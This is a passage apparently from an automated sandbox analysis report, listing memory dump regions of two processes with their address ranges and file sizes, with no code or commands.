                                                                                                                                                  • memory/3048-965-0x000000001D060000-0x000000001D0D6000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    472KB

                                                                                                                                                  • memory/4844-52-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4844-59-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4844-49-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4844-51-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4844-50-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4844-56-0x00007FF90F5C0000-0x00007FF90F67E000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    760KB

                                                                                                                                                  • memory/4844-55-0x00007FF90F6D0000-0x00007FF90F8C5000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/4844-54-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    32KB